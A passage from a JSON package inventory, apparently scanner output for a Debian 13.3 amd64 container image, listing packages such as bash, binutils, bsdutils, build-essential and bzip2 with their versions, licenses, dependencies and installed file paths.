"DependsOn": [ "base-files@13.8+deb13u3", "debianutils@5.23.2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/bash", "/usr/bin/bashbug", "/usr/bin/clear_console", "/usr/share/debianutils/shells.d/bash", "/usr/share/doc/bash/CHANGES.gz", "/usr/share/doc/bash/COMPAT.gz", "/usr/share/doc/bash/INTRO.gz", "/usr/share/doc/bash/NEWS.gz", "/usr/share/doc/bash/POSIX.gz", "/usr/share/doc/bash/RBASH", "/usr/share/doc/bash/README.Debian.gz", "/usr/share/doc/bash/README.abs-guide", "/usr/share/doc/bash/README.commands.gz", "/usr/share/doc/bash/README.gz", "/usr/share/doc/bash/changelog.Debian.amd64.gz", "/usr/share/doc/bash/changelog.Debian.gz", "/usr/share/doc/bash/changelog.gz", "/usr/share/doc/bash/copyright", "/usr/share/doc/bash/inputrc.arrows", "/usr/share/lintian/overrides/bash", "/usr/share/locale/af/LC_MESSAGES/bash.mo", "/usr/share/locale/bg/LC_MESSAGES/bash.mo", "/usr/share/locale/ca/LC_MESSAGES/bash.mo", "/usr/share/locale/cs/LC_MESSAGES/bash.mo", "/usr/share/locale/da/LC_MESSAGES/bash.mo", "/usr/share/locale/de/LC_MESSAGES/bash.mo", "/usr/share/locale/el/LC_MESSAGES/bash.mo", "/usr/share/locale/en@boldquot/LC_MESSAGES/bash.mo", "/usr/share/locale/en@quot/LC_MESSAGES/bash.mo", "/usr/share/locale/eo/LC_MESSAGES/bash.mo", "/usr/share/locale/es/LC_MESSAGES/bash.mo", "/usr/share/locale/et/LC_MESSAGES/bash.mo", "/usr/share/locale/fi/LC_MESSAGES/bash.mo", "/usr/share/locale/fr/LC_MESSAGES/bash.mo", "/usr/share/locale/ga/LC_MESSAGES/bash.mo", "/usr/share/locale/gl/LC_MESSAGES/bash.mo", "/usr/share/locale/hr/LC_MESSAGES/bash.mo", "/usr/share/locale/hu/LC_MESSAGES/bash.mo", "/usr/share/locale/id/LC_MESSAGES/bash.mo", "/usr/share/locale/it/LC_MESSAGES/bash.mo", "/usr/share/locale/ja/LC_MESSAGES/bash.mo", "/usr/share/locale/ko/LC_MESSAGES/bash.mo", "/usr/share/locale/lt/LC_MESSAGES/bash.mo", "/usr/share/locale/nb/LC_MESSAGES/bash.mo", "/usr/share/locale/nl/LC_MESSAGES/bash.mo", "/usr/share/locale/pl/LC_MESSAGES/bash.mo", "/usr/share/locale/pt/LC_MESSAGES/bash.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/bash.mo", "/usr/share/locale/ro/LC_MESSAGES/bash.mo", "/usr/share/locale/ru/LC_MESSAGES/bash.mo", "/usr/share/locale/sk/LC_MESSAGES/bash.mo", "/usr/share/locale/sl/LC_MESSAGES/bash.mo", "/usr/share/locale/sr/LC_MESSAGES/bash.mo", "/usr/share/locale/sv/LC_MESSAGES/bash.mo", "/usr/share/locale/tr/LC_MESSAGES/bash.mo", "/usr/share/locale/uk/LC_MESSAGES/bash.mo", "/usr/share/locale/vi/LC_MESSAGES/bash.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/bash.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/bash.mo", "/usr/share/man/man1/bash.1.gz", "/usr/share/man/man1/bashbug.1.gz", "/usr/share/man/man1/clear_console.1.gz", "/usr/share/man/man1/rbash.1.gz", "/usr/share/man/man7/bash-builtins.7.gz", "/usr/share/menu/bash" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils@2.44-3", "Name": "binutils", "Identifier": { "PURL": "pkg:deb/debian/binutils@2.44-3?arch=amd64\u0026distro=debian-13.3", "UID": "c2c4ffef1f699ab7" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.44-3", "binutils-x86-64-linux-gnu@2.44-3", "libbinutils@2.44-3", "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19", "libgprofng0@2.44-3", "libstdc++6@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/etc/gprofng.rc", "/usr/bin/gprofng", "/usr/bin/gprofng-archive", "/usr/bin/gprofng-collect-app", "/usr/bin/gprofng-display-html", "/usr/bin/gprofng-display-src", "/usr/bin/gprofng-display-text", "/usr/share/bug/binutils/presubj", "/usr/share/doc/binutils/changelog.Debian.gz", "/usr/share/doc/binutils/copyright", "/usr/share/lintian/overrides/binutils", "/usr/share/man/man1/gprofng-archive.1.gz", "/usr/share/man/man1/gprofng-collect-app.1.gz", "/usr/share/man/man1/gprofng-display-html.1.gz", "/usr/share/man/man1/gprofng-display-src.1.gz", "/usr/share/man/man1/gprofng-display-text.1.gz", "/usr/share/man/man1/gprofng.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils-common@2.44-3", "Name": "binutils-common", "Identifier": { "PURL": "pkg:deb/debian/binutils-common@2.44-3?arch=amd64\u0026distro=debian-13.3", "UID": "187222e6920af349" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/doc/binutils-common/changelog.Debian.gz", "/usr/share/doc/binutils-common/copyright", "/usr/share/doc/binutils/NEWS.gz", "/usr/share/doc/binutils/README.cross.gz", "/usr/share/doc/binutils/bfd/ChangeLog.gz", "/usr/share/doc/binutils/bfd/PORTING.gz", "/usr/share/doc/binutils/bfd/TODO.gz", "/usr/share/doc/binutils/changelog.gz", "/usr/share/doc/binutils/gas/ChangeLog.gz", "/usr/share/doc/binutils/gas/NEWS.gz", "/usr/share/doc/binutils/gprof/ChangeLog.gz", "/usr/share/doc/binutils/gprof/TEST.gz", "/usr/share/doc/binutils/gprof/TODO.gz", "/usr/share/doc/binutils/gprof/bbconv.pl", "/usr/share/doc/binutils/ld/ChangeLog.gz", "/usr/share/doc/binutils/ld/NEWS.gz", "/usr/share/doc/binutils/ld/TODO.gz", "/usr/share/lintian/overrides/binutils-common", "/usr/share/locale/bg/LC_MESSAGES/binutils.mo", "/usr/share/locale/bg/LC_MESSAGES/gprof.mo", "/usr/share/locale/bg/LC_MESSAGES/ld.mo", "/usr/share/locale/ca/LC_MESSAGES/binutils.mo", "/usr/share/locale/da/LC_MESSAGES/bfd.mo", "/usr/share/locale/da/LC_MESSAGES/binutils.mo", "/usr/share/locale/da/LC_MESSAGES/gprof.mo", "/usr/share/locale/da/LC_MESSAGES/ld.mo", "/usr/share/locale/da/LC_MESSAGES/opcodes.mo", "/usr/share/locale/de/LC_MESSAGES/gprof.mo", "/usr/share/locale/de/LC_MESSAGES/ld.mo", "/usr/share/locale/de/LC_MESSAGES/opcodes.mo", "/usr/share/locale/eo/LC_MESSAGES/gprof.mo", "/usr/share/locale/es/LC_MESSAGES/bfd.mo", "/usr/share/locale/es/LC_MESSAGES/binutils.mo", "/usr/share/locale/es/LC_MESSAGES/gas.mo", "/usr/share/locale/es/LC_MESSAGES/gprof.mo", "/usr/share/locale/es/LC_MESSAGES/ld.mo", "/usr/share/locale/es/LC_MESSAGES/opcodes.mo", "/usr/share/locale/fi/LC_MESSAGES/bfd.mo", "/usr/share/locale/fi/LC_MESSAGES/binutils.mo", "/usr/share/locale/fi/LC_MESSAGES/gas.mo", "/usr/share/locale/fi/LC_MESSAGES/gprof.mo", "/usr/share/locale/fi/LC_MESSAGES/ld.mo", "/usr/share/locale/fi/LC_MESSAGES/opcodes.mo", "/usr/share/locale/fr/LC_MESSAGES/bfd.mo", "/usr/share/locale/fr/LC_MESSAGES/binutils.mo", "/usr/share/locale/fr/LC_MESSAGES/gas.mo", "/usr/share/locale/fr/LC_MESSAGES/gprof.mo", "/usr/share/locale/fr/LC_MESSAGES/ld.mo", "/usr/share/locale/fr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ga/LC_MESSAGES/gprof.mo", "/usr/share/locale/ga/LC_MESSAGES/ld.mo", "/usr/share/locale/ga/LC_MESSAGES/opcodes.mo", "/usr/share/locale/hr/LC_MESSAGES/bfd.mo", "/usr/share/locale/hr/LC_MESSAGES/binutils.mo", "/usr/share/locale/hu/LC_MESSAGES/gprof.mo", "/usr/share/locale/id/LC_MESSAGES/bfd.mo", "/usr/share/locale/id/LC_MESSAGES/binutils.mo", "/usr/share/locale/id/LC_MESSAGES/gas.mo", "/usr/share/locale/id/LC_MESSAGES/gprof.mo", "/usr/share/locale/id/LC_MESSAGES/ld.mo", "/usr/share/locale/id/LC_MESSAGES/opcodes.mo", "/usr/share/locale/it/LC_MESSAGES/binutils.mo", "/usr/share/locale/it/LC_MESSAGES/gprof.mo", "/usr/share/locale/it/LC_MESSAGES/ld.mo", "/usr/share/locale/it/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ja/LC_MESSAGES/bfd.mo", "/usr/share/locale/ja/LC_MESSAGES/binutils.mo", "/usr/share/locale/ja/LC_MESSAGES/gas.mo", "/usr/share/locale/ja/LC_MESSAGES/gprof.mo", "/usr/share/locale/ja/LC_MESSAGES/ld.mo", "/usr/share/locale/ka/LC_MESSAGES/bfd.mo", "/usr/share/locale/ka/LC_MESSAGES/gprof.mo", "/usr/share/locale/ka/LC_MESSAGES/ld.mo", "/usr/share/locale/ms/LC_MESSAGES/bfd.mo", "/usr/share/locale/ms/LC_MESSAGES/gprof.mo", "/usr/share/locale/nl/LC_MESSAGES/gprof.mo", "/usr/share/locale/nl/LC_MESSAGES/opcodes.mo", "/usr/share/locale/pt/LC_MESSAGES/bfd.mo", "/usr/share/locale/pt/LC_MESSAGES/binutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/gprof.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/ld.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ro/LC_MESSAGES/bfd.mo", "/usr/share/locale/ro/LC_MESSAGES/binutils.mo", "/usr/share/locale/ro/LC_MESSAGES/gas.mo", "/usr/share/locale/ro/LC_MESSAGES/gprof.mo", "/usr/share/locale/ro/LC_MESSAGES/ld.mo", "/usr/share/locale/ro/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ru/LC_MESSAGES/bfd.mo", "/usr/share/locale/ru/LC_MESSAGES/binutils.mo", "/usr/share/locale/ru/LC_MESSAGES/gas.mo", "/usr/share/locale/ru/LC_MESSAGES/gprof.mo", "/usr/share/locale/ru/LC_MESSAGES/ld.mo", "/usr/share/locale/rw/LC_MESSAGES/bfd.mo", "/usr/share/locale/rw/LC_MESSAGES/binutils.mo", "/usr/share/locale/rw/LC_MESSAGES/gas.mo", "/usr/share/locale/rw/LC_MESSAGES/gprof.mo", "/usr/share/locale/sk/LC_MESSAGES/binutils.mo", "/usr/share/locale/sr/LC_MESSAGES/bfd.mo", "/usr/share/locale/sr/LC_MESSAGES/binutils.mo", "/usr/share/locale/sr/LC_MESSAGES/gprof.mo", "/usr/share/locale/sr/LC_MESSAGES/ld.mo", "/usr/share/locale/sr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/sv/LC_MESSAGES/bfd.mo", "/usr/share/locale/sv/LC_MESSAGES/binutils.mo", "/usr/share/locale/sv/LC_MESSAGES/gas.mo", "/usr/share/locale/sv/LC_MESSAGES/gprof.mo", "/usr/share/locale/sv/LC_MESSAGES/ld.mo", "/usr/share/locale/sv/LC_MESSAGES/opcodes.mo", "/usr/share/locale/tr/LC_MESSAGES/bfd.mo", "/usr/share/locale/tr/LC_MESSAGES/binutils.mo", "/usr/share/locale/tr/LC_MESSAGES/gas.mo", "/usr/share/locale/tr/LC_MESSAGES/gprof.mo", "/usr/share/locale/tr/LC_MESSAGES/ld.mo", "/usr/share/locale/tr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/uk/LC_MESSAGES/bfd.mo", "/usr/share/locale/uk/LC_MESSAGES/binutils.mo", "/usr/share/locale/uk/LC_MESSAGES/gas.mo", "/usr/share/locale/uk/LC_MESSAGES/gprof.mo", "/usr/share/locale/uk/LC_MESSAGES/ld.mo", "/usr/share/locale/uk/LC_MESSAGES/opcodes.mo", "/usr/share/locale/vi/LC_MESSAGES/bfd.mo", "/usr/share/locale/vi/LC_MESSAGES/binutils.mo", "/usr/share/locale/vi/LC_MESSAGES/gprof.mo", "/usr/share/locale/vi/LC_MESSAGES/ld.mo", "/usr/share/locale/vi/LC_MESSAGES/opcodes.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/bfd.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/binutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/gas.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/ld.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/opcodes.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/binutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/ld.mo", "/usr/share/man/man1/addr2line.1.gz", "/usr/share/man/man1/ar.1.gz", "/usr/share/man/man1/as.1.gz", "/usr/share/man/man1/c++filt.1.gz", "/usr/share/man/man1/elfedit.1.gz", "/usr/share/man/man1/gprof.1.gz", "/usr/share/man/man1/ld.bfd.1.gz", "/usr/share/man/man1/nm.1.gz", "/usr/share/man/man1/objcopy.1.gz", "/usr/share/man/man1/objdump.1.gz", "/usr/share/man/man1/ranlib.1.gz", "/usr/share/man/man1/readelf.1.gz", "/usr/share/man/man1/size.1.gz", "/usr/share/man/man1/strings.1.gz", "/usr/share/man/man1/strip.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils-x86-64-linux-gnu@2.44-3", "Name": "binutils-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/binutils-x86-64-linux-gnu@2.44-3?arch=amd64\u0026distro=debian-13.3", "UID": "b6d773f2bd9bce81" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.44-3", "libbinutils@2.44-3", "libc6@2.41-12+deb13u2", "libctf-nobfd0@2.44-3", "libctf0@2.44-3", "libjansson4@2.14-2+b3", "libsframe1@2.44-3", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-addr2line", "/usr/bin/x86_64-linux-gnu-ar", "/usr/bin/x86_64-linux-gnu-as", "/usr/bin/x86_64-linux-gnu-c++filt", "/usr/bin/x86_64-linux-gnu-elfedit", "/usr/bin/x86_64-linux-gnu-gprof", "/usr/bin/x86_64-linux-gnu-ld.bfd", "/usr/bin/x86_64-linux-gnu-nm", "/usr/bin/x86_64-linux-gnu-objcopy", "/usr/bin/x86_64-linux-gnu-objdump", "/usr/bin/x86_64-linux-gnu-ranlib", "/usr/bin/x86_64-linux-gnu-readelf", "/usr/bin/x86_64-linux-gnu-size", "/usr/bin/x86_64-linux-gnu-strings", "/usr/bin/x86_64-linux-gnu-strip", "/usr/lib/x86_64-linux-gnu/bfd-plugins/libdep.so", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xder", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xscer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xser", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xswer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xder", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xscer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xser", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xswer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xder", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xscer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xser", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xswer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xder", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xscer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xser", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xswer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xwer", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.x", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xa", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.x", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xa", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/stamp", "/usr/share/doc/binutils/test-summary-amd64.gz", "/usr/share/lintian/overrides/binutils-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "bsdutils@1:2.41-5", "Name": "bsdutils", "Identifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "Version": "2.41", "Release": "5", "Epoch": 1, "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/logger", "/usr/bin/renice", "/usr/bin/script", "/usr/bin/scriptlive", "/usr/bin/scriptreplay", "/usr/bin/wall", "/usr/share/bash-completion/completions/logger", "/usr/share/bash-completion/completions/renice", "/usr/share/bash-completion/completions/script", "/usr/share/bash-completion/completions/scriptlive", "/usr/share/bash-completion/completions/scriptreplay", "/usr/share/bash-completion/completions/wall", "/usr/share/doc/bsdutils/NEWS.Debian.gz", "/usr/share/doc/bsdutils/changelog.Debian.gz", "/usr/share/doc/bsdutils/changelog.gz", "/usr/share/doc/bsdutils/copyright", "/usr/share/lintian/overrides/bsdutils", "/usr/share/man/man1/logger.1.gz", "/usr/share/man/man1/renice.1.gz", "/usr/share/man/man1/script.1.gz", "/usr/share/man/man1/scriptlive.1.gz", "/usr/share/man/man1/scriptreplay.1.gz", "/usr/share/man/man1/wall.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "build-essential@12.12", "Name": "build-essential", "Identifier": { "PURL": "pkg:deb/debian/build-essential@12.12?arch=amd64\u0026distro=debian-13.3", "UID": "7443a508098e2948" }, "Version": "12.12", "Arch": "amd64", "SrcName": "build-essential", "SrcVersion": "12.12", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "dpkg-dev@1.22.22", "g++@4:14.2.0-1", "gcc@4:14.2.0-1", "libc6-dev@2.41-12+deb13u2", "make@4.4.1-2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/build-essential/essential-packages-list", "/usr/share/build-essential/list", "/usr/share/doc/build-essential/AUTHORS", "/usr/share/doc/build-essential/changelog.gz", "/usr/share/doc/build-essential/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "bzip2@1.0.8-6", "Name": "bzip2", "Identifier": { "PURL": "pkg:deb/debian/bzip2@1.0.8-6?arch=amd64\u0026distro=debian-13.3", "UID": "b083e2f863ef39e" }, "Version": "1.0.8", "Release": "6", "Arch": "amd64", "SrcName": "bzip2", "SrcVersion": "1.0.8", "SrcRelease": "6", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ 